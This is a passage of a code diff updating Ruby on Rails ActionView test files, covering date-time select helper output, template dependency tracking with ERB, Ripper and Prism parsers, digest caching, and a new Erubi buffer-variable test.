-    expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="1" />\n}
+    expected = +%{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_2i" name="post[updated_at(2i)]" value="6" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_3i" name="post[updated_at(3i)]" value="1" autocomplete="off" />\n}
 
     expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
     0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
@@ -3190,9 +3278,9 @@ def test_datetime_select_discard_year_and_month_with_disabled_html_option
     @post = Post.new
     @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<input type="hidden" id="post_updated_at_1i" disabled="disabled" name="post[updated_at(1i)]" value="2004" />\n}
-    expected << %{<input type="hidden" id="post_updated_at_2i" disabled="disabled" name="post[updated_at(2i)]" value="6" />\n}
-    expected << %{<input type="hidden" id="post_updated_at_3i" disabled="disabled" name="post[updated_at(3i)]" value="1" />\n}
+    expected = +%{<input type="hidden" id="post_updated_at_1i" disabled="disabled" name="post[updated_at(1i)]" value="2004" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_2i" disabled="disabled" name="post[updated_at(2i)]" value="6" autocomplete="off" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_3i" disabled="disabled" name="post[updated_at(3i)]" value="1" autocomplete="off" />\n}
 
     expected << %{<select id="post_updated_at_4i" disabled="disabled" name="post[updated_at(4i)]">\n}
     0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
@@ -3202,14 +3290,14 @@ def test_datetime_select_discard_year_and_month_with_disabled_html_option
     0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
     expected << "</select>\n"
 
-    assert_dom_equal expected, datetime_select("post", "updated_at", { discard_year: true, discard_month: true }, disabled: true)
+    assert_dom_equal expected, datetime_select("post", "updated_at", { discard_year: true, discard_month: true }, { disabled: true })
   end
 
   def test_datetime_select_discard_hour
     @post = Post.new
     @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected = +%{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
     1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
     expected << "</select>\n"
     expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
@@ -3226,7 +3314,7 @@ def test_datetime_select_discard_minute
     @post = Post.new
     @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected = +%{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
     1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
     expected << "</select>\n"
     expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
@@ -3241,7 +3329,7 @@ def test_datetime_select_discard_minute
     expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
     0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
     expected << "</select>\n"
-    expected << %{<input type="hidden" id="post_updated_at_5i" name="post[updated_at(5i)]" value="16" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_5i" name="post[updated_at(5i)]" value="16" autocomplete="off" />\n}
 
     assert_dom_equal expected, datetime_select("post", "updated_at", discard_minute: true)
   end
@@ -3250,7 +3338,7 @@ def test_datetime_select_disabled_and_discard_minute
     @post = Post.new
     @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<select id="post_updated_at_1i" disabled="disabled" name="post[updated_at(1i)]">\n}
+    expected = +%{<select id="post_updated_at_1i" disabled="disabled" name="post[updated_at(1i)]">\n}
     1999.upto(2009) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2004}>#{i}</option>\n) }
     expected << "</select>\n"
     expected << %{<select id="post_updated_at_2i" disabled="disabled" name="post[updated_at(2i)]">\n}
@@ -3265,7 +3353,7 @@ def test_datetime_select_disabled_and_discard_minute
     expected << %{<select id="post_updated_at_4i" disabled="disabled" name="post[updated_at(4i)]">\n}
     0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
     expected << "</select>\n"
-    expected << %{<input type="hidden" id="post_updated_at_5i" disabled="disabled" name="post[updated_at(5i)]" value="16" />\n}
+    expected << %{<input type="hidden" id="post_updated_at_5i" disabled="disabled" name="post[updated_at(5i)]" value="16" autocomplete="off" />\n}
 
     assert_dom_equal expected, datetime_select("post", "updated_at", discard_minute: true, disabled: true)
   end
@@ -3274,7 +3362,7 @@ def test_datetime_select_invalid_order
     @post = Post.new
     @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+    expected = +%{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
     1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
     expected << "</select>\n"
     expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
@@ -3301,7 +3389,7 @@ def test_datetime_select_discard_with_order
     @post = Post.new
     @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
 
-    expected = %{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" />\n}
+    expected = +%{<input type="hidden" id="post_updated_at_1i" name="post[updated_at(1i)]" value="2004" autocomplete="off" />\n}
     expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
     1.upto(31) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 15}>#{i}</option>\n) }
     expected << "</select>\n"
@@ -3326,7 +3414,7 @@ def test_datetime_select_with_default_value_as_time
     @post = Post.new
     @post.updated_at = nil
 
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected = +%{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
     2001.upto(2011) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == 2006}>#{i}</option>\n) }
     expected << "</select>\n"
     expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
@@ -3353,16 +3441,16 @@ def test_include_blank_overrides_default_option
     @post = Post.new
     @post.updated_at = nil
 
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
-    expected << %(<option value=""></option>\n)
+    expected = +%{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected << %(<option value="" label=" "></option>\n)
     (Time.now.year - 5).upto(Time.now.year + 5) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
     expected << "</select>\n"
     expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
-    expected << %(<option value=""></option>\n)
+    expected << %(<option value="" label=" "></option>\n)
     1.upto(12) { |i| expected << %(<option value="#{i}">#{Date::MONTHNAMES[i]}</option>\n) }
     expected << "</select>\n"
     expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
-    expected << %(<option value=""></option>\n)
+    expected << %(<option value="" label=" "></option>\n)
     1.upto(31) { |i| expected << %(<option value="#{i}">#{i}</option>\n) }
     expected << "</select>\n"
 
@@ -3373,7 +3461,7 @@ def test_datetime_select_with_default_value_as_hash
     @post = Post.new
     @post.updated_at = nil
 
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+    expected = +%{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
     (Time.now.year - 5).upto(Time.now.year + 5) { |i| expected << %(<option value="#{i}"#{' selected="selected"' if i == Time.now.year}>#{i}</option>\n) }
     expected << "</select>\n"
     expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
@@ -3400,7 +3488,7 @@ def test_datetime_select_with_html_options
     @post = Post.new
     @post.updated_at = Time.local(2004, 6, 15, 16, 35)
 
-    expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]" class="selector">\n}
+    expected = +%{<select id="post_updated_at_1i" name="post[updated_at(1i)]" class="selector">\n}
     expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
     expected << "</select>\n"
 
@@ -3422,7 +3510,7 @@ def test_datetime_select_with_html_options
     expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35" selected="selected">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n}
     expected << "</select>\n"
 
-    assert_dom_equal expected, datetime_select("post", "updated_at", {}, class: "selector")
+    assert_dom_equal expected, datetime_select("post", "updated_at", {}, { class: "selector" })
   end
 
   def test_date_select_should_not_change_passed_options_hash
@@ -3573,25 +3661,25 @@ def test_select_time_should_not_change_passed_options_hash
   end
 
   def test_select_html_safety
-    assert select_day(16).html_safe?
-    assert select_month(8).html_safe?
-    assert select_year(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
-    assert select_minute(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
-    assert select_second(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
+    assert_predicate select_day(16), :html_safe?
+    assert_predicate select_month(8), :html_safe?
+    assert_predicate select_year(Time.mktime(2003, 8, 16, 8, 4, 18)), :html_safe?
+    assert_predicate select_minute(Time.mktime(2003, 8, 16, 8, 4, 18)), :html_safe?
+    assert_predicate select_second(Time.mktime(2003, 8, 16, 8, 4, 18)), :html_safe?
 
-    assert select_minute(8, use_hidden: true).html_safe?
-    assert select_month(8, prompt: "Choose month").html_safe?
+    assert_predicate select_minute(8, use_hidden: true), :html_safe?
+    assert_predicate select_month(8, prompt: "Choose month"), :html_safe?
 
-    assert select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, class: "selector").html_safe?
-    assert select_date(Time.mktime(2003, 8, 16), date_separator: " / ", start_year: 2003, end_year: 2005, prefix: "date[first]").html_safe?
+    assert_predicate select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, { class: "selector" }), :html_safe?
+    assert_predicate select_date(Time.mktime(2003, 8, 16), date_separator: " / ", start_year: 2003, end_year: 2005, prefix: "date[first]"), :html_safe?
   end
 
   def test_object_select_html_safety
     @post = Post.new
     @post.written_on = Date.new(2004, 6, 15)
 
-    assert date_select("post", "written_on", default: Time.local(2006, 9, 19, 15, 16, 35), include_blank: true).html_safe?
-    assert time_select("post", "written_on", ignore_date: true).html_safe?
+    assert_predicate date_select("post", "written_on", default: Time.local(2006, 9, 19, 15, 16, 35), include_blank: true), :html_safe?
+    assert_predicate time_select("post", "written_on", ignore_date: true), :html_safe?
   end
 
   def test_time_tag_with_date
diff --git a/actionview/test/template/dependency_tracker_test.rb b/actionview/test/template/dependency_tracker_test.rb
index 89917035ff66e..e0ea0ca632224 100644
--- a/actionview/test/template/dependency_tracker_test.rb
+++ b/actionview/test/template/dependency_tracker_test.rb
@@ -1,6 +1,13 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "action_view/dependency_tracker"
 
+require "action_view/render_parser/prism_render_parser"
+
+require "ripper"
+require "action_view/render_parser/ripper_render_parser"
+
 class NeckbeardTracker
   def self.call(name, template)
     ["foo/#{name}"]
@@ -12,11 +19,18 @@ class FakeTemplate
 
   def initialize(source, handler = Neckbeard)
     @source, @handler = source, handler
+    if handler == :erb
+      @handler = ActionView::Template::Handlers::ERB.new
+    end
+  end
+
+  def type
+    ["text/html"]
   end
 end
 
-Neckbeard = lambda { |template| template.source }
-Bowtie = lambda { |template| template.source }
+Neckbeard = lambda { |template, source| source }
+Bowtie = lambda { |template, source| source }
 
 class DependencyTrackerTest < ActionView::TestCase
   def tracker
@@ -46,71 +60,91 @@ def test_returns_empty_array_if_no_tracker_is_found
   end
 end
 
-class ERBTrackerTest < Minitest::Test
-  def make_tracker(name, template)
-    ActionView::DependencyTracker::ERBTracker.new(name, template)
-  end
-
+# Tests run with both ERBTracker and RubyTracker
+module SharedTrackerTests
   def test_dependency_of_erb_template_with_number_in_filename
-    template = FakeTemplate.new("<%# render 'messages/message123' %>", :erb)
+    template = FakeTemplate.new("<%= render 'messages/message123' %>", :erb)
     tracker = make_tracker("messages/_message123", template)
 
     assert_equal ["messages/message123"], tracker.dependencies
   end
 
   def test_dependency_of_template_partial_with_layout
-    template = FakeTemplate.new("<%# render partial: 'messages/show', layout: 'messages/layout' %>", :erb)
+    template = FakeTemplate.new("<%= render partial: 'messages/show', layout: 'messages/layout' %>", :erb)
     tracker = make_tracker("multiple/_dependencies", template)
 
-    assert_equal ["messages/layout", "messages/show"], tracker.dependencies
+    assert_equal ["messages/layout", "messages/show"], tracker.dependencies.sort
   end
 
   def test_dependency_of_template_layout_standalone
-    template = FakeTemplate.new("<%# render layout: 'messages/layout' do %>", :erb)
+    template = FakeTemplate.new("<%= render layout: 'messages/layout' do %>", :erb)
     tracker = make_tracker("messages/layout", template)
 
     assert_equal ["messages/layout"], tracker.dependencies
   end
 
   def test_finds_dependency_in_correct_directory
-    template = FakeTemplate.new("<%# render(message.topic) %>", :erb)
+    template = FakeTemplate.new("<%= render(message.topic) %>", :erb)
     tracker = make_tracker("messages/_message", template)
 
     assert_equal ["topics/topic"], tracker.dependencies
   end
 
   def test_finds_dependency_in_correct_directory_with_underscore
-    template = FakeTemplate.new("<%# render(message_type.messages) %>", :erb)
+    template = FakeTemplate.new("<%= render(message_type.messages) %>", :erb)
     tracker = make_tracker("message_types/_message_type", template)
 
     assert_equal ["messages/message"], tracker.dependencies
   end
 
   def test_dependency_of_erb_template_with_no_spaces_after_render
-    template = FakeTemplate.new("<%# render'messages/message' %>", :erb)
+    template = FakeTemplate.new("<%= render'messages/message' %>", :erb)
     tracker = make_tracker("messages/_message", template)
 
     assert_equal ["messages/message"], tracker.dependencies
   end
 
   def test_finds_no_dependency_when_render_begins_the_name_of_an_identifier
-    template = FakeTemplate.new("<%# rendering 'it useless' %>", :erb)
+    template = FakeTemplate.new("<%= rendering 'it useless' %>", :erb)
     tracker = make_tracker("resources/_resource", template)
 
     assert_equal [], tracker.dependencies
   end
 
   def test_finds_no_dependency_when_render_ends_the_name_of_another_method
-    template = FakeTemplate.new("<%# surrender 'to reason' %>", :erb)
+    template = FakeTemplate.new("<%= surrender 'to reason' %>", :erb)
     tracker = make_tracker("resources/_resource", template)
 
     assert_equal [], tracker.dependencies
   end
 
+  def test_finds_no_dependency_when_render_is_not_a_ruby_call
+    template = FakeTemplate.new("<div class='render foo'>", :erb)
+    tracker = make_tracker("resources/_resource", template)
+
+    assert_equal [], tracker.dependencies
+  end
+
+  def test_find_dependencies_and_respect_erb_tag_boundaries
+    template = FakeTemplate.new("<p>Hello</p> <% link_to abc %> <%= render 'single/quote' %>", :erb)
+    tracker = make_tracker("resources/_resource", template)
+
+    assert_equal ["single/quote"], tracker.dependencies
+  end
+
+  def test_find_all_dependencies_and_respect_erb_tag_boundaries
+    template = FakeTemplate.new("<p>Hello</p> <%=
+      render object: @all_posts,
+             partial: 'posts' %> <% link_to abc %> <%= render 'single/quote' %>", :erb)
+    tracker = make_tracker("resources/_resource", template)
+
+    assert_equal ["resources/posts", "single/quote"], tracker.dependencies
+  end
+
   def test_finds_dependency_on_multiline_render_calls
-    template = FakeTemplate.new("<%#
-      render :object => @all_posts,
-             :partial => 'posts' %>", :erb)
+    template = FakeTemplate.new("<%=
+      render object: @all_posts,
+             partial: 'posts' %>", :erb)
 
     tracker = make_tracker("some/_little_posts", template)
 
@@ -119,21 +153,21 @@ def test_finds_dependency_on_multiline_render_calls
 
   def test_finds_multiple_unrelated_odd_dependencies
     template = FakeTemplate.new("
-      <%# render('shared/header', title: 'Title') %>
+      <%= render('application/header', title: 'Title') %>
       <h2>Section title</h2>
-      <%# render@section %>
+      <%= render@section %>
     ", :erb)
 
     tracker = make_tracker("multiple/_dependencies", template)
 
-    assert_equal ["shared/header", "sections/section"], tracker.dependencies
+    assert_equal ["application/header", "sections/section"], tracker.dependencies
   end
 
   def test_finds_dependencies_for_all_kinds_of_identifiers
     template = FakeTemplate.new("
-      <%# render $globals %>
-      <%# render @instance_variables %>
-      <%# render @@class_variables %>
+      <%= render $globals %>
+      <%= render @instance_variables %>
+      <%= render @@class_variables %>
     ", :erb)
 
     tracker = make_tracker("identifiers/_all", template)
@@ -146,14 +180,14 @@ def test_finds_dependencies_for_all_kinds_of_identifiers
   end
 
   def test_finds_dependencies_on_method_chains
-    template = FakeTemplate.new("<%# render @parent.child.grandchildren %>", :erb)
+    template = FakeTemplate.new("<%= render @parent.child.grandchildren %>", :erb)
     tracker = make_tracker("method/_chains", template)
 
     assert_equal ["grandchildren/grandchild"], tracker.dependencies
   end
 
   def test_finds_dependencies_with_special_characters
-    template = FakeTemplate.new("<%# render @pokémon, partial: 'ピカ�ュウ' %>", :erb)
+    template = FakeTemplate.new("<%= render partial: 'ピカ�ュウ', object: @pokémon %>", :erb)
     tracker = make_tracker("special/_characters", template)
 
     assert_equal ["special/ピカ�ュウ"], tracker.dependencies
@@ -161,8 +195,8 @@ def test_finds_dependencies_with_special_characters
 
   def test_finds_dependencies_with_quotes_within
     template = FakeTemplate.new(%{
-      <%# render "single/quote's" %>
-      <%# render 'double/quote"s' %>
+      <%= render "single/quote's" %>
+      <%= render 'double/quote"s' %>
     }, :erb)
 
     tracker = make_tracker("quotes/_single_and_double", template)
@@ -190,4 +224,122 @@ def test_finds_dependencies_with_extra_spaces
       "comments/comment"
     ], tracker.dependencies
   end
+
+  def test_finds_dependencies_with_bare_assoc_hash_on_constant
+    template = FakeTemplate.new(%{
+      <%= render SomeConstant.message(this: "that") %>
+    }, :erb)
+
+    tracker = make_tracker("assoc_hash/const", template)
+
+    assert_equal [
+      "messages/message",
+    ], tracker.dependencies
+  end
+
+  def test_dependencies_with_interpolation
+    template = FakeTemplate.new(%q{
+      <%= render "double/#{quote}" %>
+      <%= render 'single/#{quote}' %>
+    }, :erb)
+    tracker = make_tracker("interpolation/_string", template)
+
+    assert_equal ["single/\#{quote}"], tracker.dependencies
+  end
+
+  def test_dependencies_with_interpolation_are_resolved_with_view_paths
+    view_paths = ActionView::PathSet.new([File.expand_path("../fixtures/digestor", __dir__)])
+
+    template = FakeTemplate.new(%q{
+      <%= render "events/#{quote}" %>
+    }, :erb)
+
+    tracker = make_tracker("interpolation/_string", template, view_paths)
+
+    assert_equal ["events/_completed", "events/_event", "events/index"], tracker.dependencies
+  end
+
+  def test_dependencies_with_interpolation_non_trailing
+    view_paths = ActionView::PathSet.new([File.expand_path("../fixtures/digestor", __dir__)])
+
+    template = FakeTemplate.new(%q{
+      <%= render "#{type}/comments" %>
+    }, :erb)
+
+    tracker = make_tracker("interpolation/_string", template, view_paths)
+
+    assert_equal [ "*/comments" ], tracker.dependencies
+  end
+
+  def test_dependencies_with_interpolation_expr
+    view_paths = ActionView::PathSet.new([File.expand_path("../fixtures/digestor", __dir__)])
+
+    template = FakeTemplate.new(%q{
+      <%= render "orders/#{variable || "default"}" %>
+    }, :erb)
+
+    tracker = make_tracker("interpolation/_string", template, view_paths)
+
+    # unsupported
+    assert_equal [], tracker.dependencies
+  end
+end
+
+class ERBTrackerTest < ActiveSupport::TestCase
+  include SharedTrackerTests
+
+  def make_tracker(name, template, view_paths = nil)
+    ActionView::DependencyTracker::ERBTracker.new(name, template, view_paths)
+  end
+end
+
+module RubyTrackerTests
+  def make_tracker(name, template, view_paths = nil)
+    ActionView::DependencyTracker::RubyTracker.new(name, template, view_paths, parser_class: parser_class)
+  end
+
+  def test_dependencies_skip_unknown_options
+    template = FakeTemplate.new(%{
+      <%= render partial: "unknown_render_call", unknown_render_option: "yes" %>
+    }, :erb)
+    tracker = make_tracker("interpolation/_string", template)
+
+    assert_equal [], tracker.dependencies
+  end
+
+  def test_dependencies_finds_spacer_templates
+    template = FakeTemplate.new(%{
+      <%= render partial: "messages/message", collection: books, spacer_template: "messages/message_spacer" %>
+    }, :erb)
+    tracker = make_tracker("messages/show", template)
+
+    assert_equal ["messages/message_spacer", "messages/message"], tracker.dependencies
+  end
+
+  def test_dependencies_skip_commented_out_renders
+    template = FakeTemplate.new(%{
+      <%# render "messages/legacy_message" %>
+    }, :erb)
+    tracker = make_tracker("messages/show", template)
+
+    assert_equal [], tracker.dependencies
+  end
+end
+
+class RipperRubyTrackerTest < ActiveSupport::TestCase
+  include SharedTrackerTests
+  include RubyTrackerTests
+
+  def parser_class
+    ActionView::RenderParser::RipperRenderParser
+  end
+end
+
+class PrismRubyTrackerTest < ActiveSupport::TestCase
+  include SharedTrackerTests
+  include RubyTrackerTests
+
+  def parser_class
+    ActionView::RenderParser::PrismRenderParser
+  end
 end
diff --git a/actionview/test/template/digestor_test.rb b/actionview/test/template/digestor_test.rb
index a814cab686a8d..38989ef6a5760 100644
--- a/actionview/test/template/digestor_test.rb
+++ b/actionview/test/template/digestor_test.rb
@@ -1,24 +1,14 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "fileutils"
 require "action_view/dependency_tracker"
 
-class FixtureTemplate
-  attr_reader :source, :handler
-
-  def initialize(template_path)
-    @source = File.read(template_path)
-    @handler = ActionView::Template.handler_for_extension(:erb)
-  rescue Errno::ENOENT
-    raise ActionView::MissingTemplate.new([], "", [], true, [])
-  end
-end
-
 class FixtureFinder < ActionView::LookupContext
-  FIXTURES_DIR = "#{File.dirname(__FILE__)}/../fixtures/digestor"
+  FIXTURES_DIR = File.expand_path("../fixtures/digestor", __dir__)
 
-  def initialize(details = {})
-    super(ActionView::PathSet.new(["digestor", "digestor/api"]), details, [])
-    @rendered_format = :html
+  def self.build(details = {})
+    new(ActionView::PathSet.new(["digestor", "digestor/api"]), details, [])
   end
 end
 
@@ -122,13 +112,13 @@ def test_logging_of_missing_template_ending_with_number
   end
 
   def test_logging_of_missing_template_for_dependencies
-    assert_logged "'messages/something_missing' file doesn't exist, so no dependencies" do
+    assert_logged "Couldn't find template for digesting: messages/something_missing" do
       dependencies("messages/something_missing")
     end
   end
 
   def test_logging_of_missing_template_for_nested_dependencies
-    assert_logged "'messages/something_missing' file doesn't exist, so no dependencies" do
+    assert_logged "Couldn't find template for digesting: messages/something_missing" do
       nested_dependencies("messages/something_missing")
     end
   end
@@ -155,13 +145,12 @@ def test_nested_template_deps
   end
 
   def test_nested_template_deps_with_non_default_rendered_format
-    finder.rendered_format = nil
     nested_deps = [{ "comments/comments" => ["comments/comment"] }]
     assert_equal nested_deps, nested_dependencies("messages/thread")
   end
 
   def test_template_formats_of_nested_deps_with_non_default_rendered_format
-    finder.rendered_format = nil
+    @finder = finder.with_prepended_formats([:json])
     assert_equal [:json], tree_template_formats("messages/thread").uniq
   end
 
@@ -169,6 +158,16 @@ def test_template_formats_of_dependencies_with_same_logical_name_and_different_r
     assert_equal [:html], tree_template_formats("messages/show").uniq
   end
 
+  def test_template_dependencies_with_fallback_from_js_to_html_format
+    assert_equal ["comments/comment"], dependencies("comments/show")
+  end
+
+  def test_template_digest_with_fallback_from_js_to_html_format
+    assert_digest_difference("comments/show") do
+      change_template("comments/_comment")
+    end
+  end
+
   def test_recursion_in_renders
     assert digest("level/recursion") # assert recursion is possible
     assert_not_nil digest("level/recursion") # assert digest is stored
@@ -216,14 +215,14 @@ def test_collection_derived_from_record_dependency
 
   def test_details_are_included_in_cache_key
     # Cache the template digest.
-    @finder = FixtureFinder.new(formats: [:html])
+    @finder = FixtureFinder.build(formats: [:html])
     old_digest = digest("events/_event")
 
     # Change the template; the cached digest remains unchanged.
     change_template("events/_event")
 
     # The details are changed, so a new cache key is generated.
-    @finder = FixtureFinder.new
+    @finder = FixtureFinder.build
 
     # The cache is busted.
     assert_not_equal old_digest, digest("events/_event")
@@ -297,6 +296,21 @@ def test_digest_cache_cleanup_with_recursion
     assert_equal first_digest, second_digest
   end
 
+  def test_digest_cache_with_cycle
+    expected_deps = [
+      {
+        "comments/cycle_a" => [
+          {
+            "comments/cycle_b" => [
+              "comments/cycle_a",
+            ],
+          },
+        ],
+      },
+    ]
+    assert_equal expected_deps, nested_dependencies("comments/cycle")
+  end
+
   def test_digest_cache_cleanup_with_recursion_and_template_caching_off
     disable_resolver_caching do
       first_digest = digest("level/_recursion")
@@ -327,12 +341,14 @@ def assert_logged(message)
 
     def assert_digest_difference(template_name, options = {})
       previous_digest = digest(template_name, options)
+      finder.view_paths.each(&:clear_cache)
       finder.digest_cache.clear
 
       yield
 
       assert_not_equal previous_digest, digest(template_name, options), "digest didn't change"
       finder.digest_cache.clear
+      finder.view_paths.each(&:clear_cache)
     end
 
     def digest(template_name, options = {})
@@ -340,9 +356,14 @@ def digest(template_name, options = {})
       finder_options = options.extract!(:variants, :format)
 
       finder.variants = finder_options[:variants] || []
-      finder.rendered_format = finder_options[:format] if finder_options[:format]
 
-      ActionView::Digestor.digest(name: template_name, finder: finder, dependencies: (options[:dependencies] || []))
+      finder_with_formats = if finder_options[:format]
+        finder.with_prepended_formats(Array(finder_options[:format]))
+      else
+        finder
+      end
+
+      ActionView::Digestor.digest(name: template_name, format: finder_options[:format], finder: finder_with_formats, dependencies: (options[:dependencies] || []))
     end
 
     def dependencies(template_name)
@@ -357,7 +378,7 @@ def nested_dependencies(template_name)
 
     def tree_template_formats(template_name)
       tree = ActionView::Digestor.tree(template_name, finder)
-      tree.flatten.map(&:template).compact.flat_map(&:formats)
+      tree.flatten.filter_map { |node| node.template&.format }
     end
 
     def disable_resolver_caching
@@ -368,7 +389,7 @@ def disable_resolver_caching
     end
 
     def finder
-      @finder ||= FixtureFinder.new
+      @finder ||= FixtureFinder.build
     end
 
     def change_template(template_name, variant = nil)
diff --git a/actionview/test/template/erb/deprecated_erubis_implementation_test.rb b/actionview/test/template/erb/deprecated_erubis_implementation_test.rb
deleted file mode 100644
index aaf99f85c0216..0000000000000
--- a/actionview/test/template/erb/deprecated_erubis_implementation_test.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-require "abstract_unit"
-
-module ERBTest
-  class DeprecatedErubisImplementationTest < ActionView::TestCase
-    test "Erubis implementation is deprecated" do
-      assert_deprecated "ActionView::Template::Handlers::Erubis is deprecated and will be removed from Rails 5.2. Switch to ActionView::Template::Handlers::ERB::Erubi instead." do
-        assert_equal "ActionView::Template::Handlers::ERB::Erubis", ActionView::Template::Handlers::Erubis.to_s
-
-        assert_nothing_raised { Class.new(ActionView::Template::Handlers::Erubis) }
-      end
-    end
-  end
-end
diff --git a/actionview/test/template/erb/erubi_test.rb b/actionview/test/template/erb/erubi_test.rb
new file mode 100644
index 0000000000000..148e8802a68dd
--- /dev/null
+++ b/actionview/test/template/erb/erubi_test.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "action_view/template/handlers/erb/erubi"
+
+class ErubiTest < ActiveSupport::TestCase
+  test "can configure bufvar" do
+    template = <<~ERB
+      foo
+
+      <%= "foo".upcase %>
+
+      <%== "foo".length %>
+    ERB
+
+    baseline = ActionView::Template::Handlers::ERB::Erubi.new(template)
+    erubi = ActionView::Template::Handlers::ERB::Erubi.new(template, bufvar: "boofer")
+
+    assert_equal baseline.src.gsub(baseline.bufvar, "boofer"), erubi.src
+  end
+end
diff --git a/actionview/test/template/erb/form_for_test.rb b/actionview/test/template/erb/form_for_test.rb
index e722b40a9a976..b3a47e17a4f5a 100644
--- a/actionview/test/template/erb/form_for_test.rb
+++ b/actionview/test/template/erb/form_for_test.rb
@@ -1,10 +1,16 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "template/erb/helper"
 
 module ERBTest
   class TagHelperTest < BlockTestCase
     test "form_for works" do
